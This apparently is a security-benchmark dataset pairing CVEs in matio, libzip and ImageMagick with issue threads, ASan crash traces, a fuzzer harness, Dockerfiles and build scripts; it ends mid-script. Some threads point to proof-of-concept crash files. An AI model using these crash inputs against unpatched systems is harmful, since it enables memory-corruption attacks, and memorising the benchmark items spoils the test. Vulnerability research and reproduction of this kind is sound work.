CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c.
CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c.
---
Comment by tbeu on 2019-03-07 06:23:41+00:00:
Working on them. (That's why I pinned the issue).
---
Comment by tbeu on 2019-03-07 07:36:04+00:00:
And, it only happens with crafted MAT-files (created by fuzzing).
---
Comment by PhilipMorrisJones on 2019-03-07 12:36:41+00:00:
@tbeu, thank you. We use this library and appreciate its compactness and usefulness.
Do you know anything about @cool-tomato and why she would fuzz your code?
---
Comment by tbeu on 2019-03-07 16:04:48+00:00:
Fuzzing is easy, probably fun and gives you some credits. Do not know him/her.
---
Comment by tbeu on 2019-03-09 22:11:12+00:00:
Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch.
---
Comment by TeoShaw on 2019-03-11 06:31:47+00:00:
Great to hear that this has been resolved.
On what time scale will we be able to download 1.5.14 and get access to these security improvements?
Thanks,
T.
---
Comment by tbeu on 2019-03-11 06:55:52+00:00:
Will release v1.5.14 probably tonight.
---
Comment by svillemot on 2019-03-12 14:20:17+00:00:
As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed.
---
Comment by tbeu on 2019-03-12 18:01:06+00:00:
Hm, can no longer reproduce. Can you give some more details?
---
Comment by svillemot on 2019-03-12 18:08:43+00:00:
On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
=================================================================
==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
```
---
Comment by tbeu on 2019-03-12 18:57:03+00:00:
Got it.
---
Comment by carnil on 2019-03-14 18:14:43+00:00:
Should the issue in meanwhile be reopened until as well the last bit fixed?
---
Comment by tbeu on 2019-03-15 22:32:32+00:00:
@svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks.
---
Comment by svillemot on 2019-03-16 16:57:48+00:00:
The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Integer multiplication overflow when calculating number of elements
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
```
---
Comment by tbeu on 2019-03-16 18:07:45+00:00:
Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think?
---
Comment by svillemot on 2019-03-16 19:38:04+00:00:
Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller.
---
Comment by tbeu on 2019-03-19 13:41:30+00:00:
@svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks.
---
Comment by svillemot on 2019-03-20 09:43:23+00:00:
Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed.
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Empty
=================================================================
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
````
---
Comment by tbeu on 2019-03-20 10:28:22+00:00:
Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55.
---
Comment by svillemot on 2019-03-22 12:37:44+00:00:
I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze).
There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on?
---
Comment by svillemot on 2019-03-22 12:38:14+00:00:
The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio
---
Comment by svillemot on 2019-03-22 12:39:54+00:00:
And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches
Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit.
---
Comment by svillemot on 2019-03-22 14:08:36+00:00:
Ok, got it, it's a manifestation of #108.
---
Comment by svillemot on 2019-03-22 14:30:15+00:00:
Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038.
On the current git HEAD, I now get the following:
```
$ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02
=================================================================
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING
```
```
$ tools/matdump ~/pocs/matio/[email protected]_1342-33__out-of-bound-read
InflateData: inflate returned data error
InflateSkip: inflate returned data error
ASAN:DEADLYSIGNAL
=================================================================
==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0)
#0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076)
#1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell
==14816==ABORTING
```
So this issue should be reopened…
---
Comment by tbeu on 2019-03-22 20:56:05+00:00:
One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check.
---
Comment by svillemot on 2019-03-23 09:09:38+00:00:
It is good now, thanks!
Commit References:
02625a0e394eeb8bf3ea61641f73de907296a2c4
077cbf9ecf495c15edc8546c1acb0cbabf8b6e51
2c20d2178017b3eb13ab160cef239648f9915bdb
b73f135ebb5339eec376b1f25e63ab50d0d43b55
539ca4df145748558d79ac978d05857437ba3332
adfa218770183cf93f74e7fad5055921ae1f9958
a0539135c9b1ab7613aa7953279da9224da88775
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "5552ebde32d48e9290de871dce2f773a76cdaca7",
"url": "https://github.com/tbeu/matio/commit/5552ebde32d48e9290de871dce2f773a76cdaca7"
},
{
"sha": "0966538de4e96f8a22e2f10562b765280fa61ece",
"url": "https://github.com/tbeu/matio/commit/0966538de4e96f8a22e2f10562b765280fa61ece"
},
{
"sha": "a0539135c9b1ab7613aa7953279da9224da88775",
"url": "https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775"
},
{
"sha": "2c20d2178017b3eb13ab160cef239648f9915bdb",
"url": "https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb"
},
{
"sha": "df23944bc8f16dc7270fa39c772e14958aadc283",
"url": "https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283"
},
{
"sha": "ce33bf0ef196794790ed20c6d4c8232f7eb45590",
"url": "https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590"
},
{
"sha": "02625a0e394eeb8bf3ea61641f73de907296a2c4",
"url": "https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4"
}
] |
libzip.cve-2019-17582
|
nih-at/libzip
|
f0b8ddaabe53b2ea34ea115dfba7879b9e7a29f0
| 2017-06-29T04:24:59
|
libzip
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake pkg-config zlib1g-dev
RUN git clone https://github.com/nih-at/libzip libzip
RUN git -C libzip checkout f0b8ddaabe53b2ea34ea115dfba7879b9e7a29f0
WORKDIR $SRC/libzip
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DBUILD_SHARED_LIBS=OFF -DENABLE_GNUTLS=OFF -DENABLE_MBEDTLS=OFF -DENABLE_OPENSSL=OFF -DBUILD_TOOLS=OFF ..
make -j$(nproc)
|
/src/libzip
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nih-at/libzip/issues/5
## Description:
Issue: nih-at/libzip#5
Title: use-after-free in _zip_buffer_free (zip_buffer.c)
State: closed
Created by: asarubbo
Created at: 2017-08-24 10:44:17+00:00
Issue Body:
On 1.2.0:
```
# ziptool $FILE cat index
==1771==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000000d1 at pc 0x7f267d085fc1 bp 0x7ffed21f65f0 sp 0x7ffed21f65e8
READ of size 1 at 0x6030000000d1 thread T0
#0 0x7f267d085fc0 in _zip_buffer_free /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_buffer.c:53:17
#1 0x7f267d092646 in _zip_dirent_read /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_dirent.c
#2 0x7f267d0aabfe in _zip_read_cdir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:380:69
#3 0x7f267d0aabfe in _zip_find_central_dir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:613
#4 0x7f267d0aabfe in _zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:200
#5 0x7f267d0a89b7 in zip_open_from_source /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:148:11
#6 0x7f267d0a7e93 in zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:74:15
#7 0x513392 in read_from_file /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:698:13
#8 0x513392 in main /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:1113
#9 0x7f267c1b5680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289
#10 0x41b058 in _init (/usr/bin/ziptool+0x41b058)
0x6030000000d1 is located 1 bytes inside of 32-byte region [0x6030000000d0,0x6030000000f0)
freed by thread T0 here:
#0 0x4d0850 in __interceptor_cfree /var/tmp/portage/sys-libs/compiler-rt-sanitizers-4.0.1/work/compiler-rt-4.0.1.src/lib/asan/asan_malloc_linux.cc:55
#1 0x7f267d085f83 in _zip_buffer_free /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_buffer.c:57:5
#2 0x7f267d0935ea in _zip_dirent_read /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_dirent.c:571:9
#3 0x7f267d0aabfe in _zip_read_cdir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:380:69
#4 0x7f267d0aabfe in _zip_find_central_dir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:613
#5 0x7f267d0aabfe in _zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:200
#6 0x7f267d0a89b7 in zip_open_from_source /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:148:11
#7 0x7f267d0a7e93 in zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:74:15
#8 0x513392 in read_from_file /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:698:13
#9 0x513392 in main /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:1113
#10 0x7f267c1b5680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289
previously allocated by thread T0 here:
#0 0x4d0a08 in malloc /var/tmp/portage/sys-libs/compiler-rt-sanitizers-4.0.1/work/compiler-rt-4.0.1.src/lib/asan/asan_malloc_linux.cc:66
#1 0x7f267d0879d8 in _zip_buffer_new /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_buffer.c:168:35
#2 0x7f267d0879d8 in _zip_buffer_new_from_source /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_buffer.c:190
#3 0x7f267d0927c2 in _zip_dirent_read /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_dirent.c:443:23
#4 0x7f267d0aabfe in _zip_read_cdir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:380:69
#5 0x7f267d0aabfe in _zip_find_central_dir /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:613
#6 0x7f267d0aabfe in _zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:200
#7 0x7f267d0a89b7 in zip_open_from_source /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:148:11
#8 0x7f267d0a7e93 in zip_open /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_open.c:74:15
#9 0x513392 in read_from_file /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:698:13
#10 0x513392 in main /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/src/ziptool.c:1113
#11 0x7f267c1b5680 in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r4/work/glibc-2.23/csu/../csu/libc-start.c:289
SUMMARY: AddressSanitizer: heap-use-after-free /var/tmp/portage/dev-libs/libzip-1.2.0/work/libzip-1.2.0/lib/zip_buffer.c:53:17 in _zip_buffer_free
Shadow bytes around the buggy address:
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd
=>0x0c067fff8010: fd fd fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa
0x0c067fff8020: 00 00 00 00 fa fa fd fd fd fa fa fa fd fd fd fd
0x0c067fff8030: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x0c067fff8040: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1771==ABORTING
```
Testcase:
https://github.com/asarubbo/poc/blob/master/00239-libzip-UAF-_zip_buffer_free
I don't know if it is related to the bug fixed here https://github.com/nih-at/libzip/commit/2217022b7d1142738656d891e00b3d2d9179b796
Comments:
Comment by 0-wiz-0 on 2017-08-29 08:31:01+00:00:
Please try the latest git head to confirm that
https://github.com/nih-at/libzip/commit/2217022b7d1142738656d891e00b3d2d9179b796
fixed this. (I think it did.)
---
Comment by asarubbo on 2017-09-01 13:51:10+00:00:
yes, it is fixed by that commit
Commit References:
2217022b7d1142738656d891e00b3d2d9179b796
|
[] |
[
{
"sha": "2217022b7d1142738656d891e00b3d2d9179b796",
"url": "https://github.com/nih-at/libzip/commit/2217022b7d1142738656d891e00b3d2d9179b796"
}
] |
imagemagick.cve-2018-11624
|
imagemagick/imagemagick
|
2d9deb32e44a60599fb37c530590afb1503feb0c
| 2018-05-28T19:54:03
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config cmake nasm autopoint
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 2d9deb32e44a60599fb37c530590afb1503feb0c
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
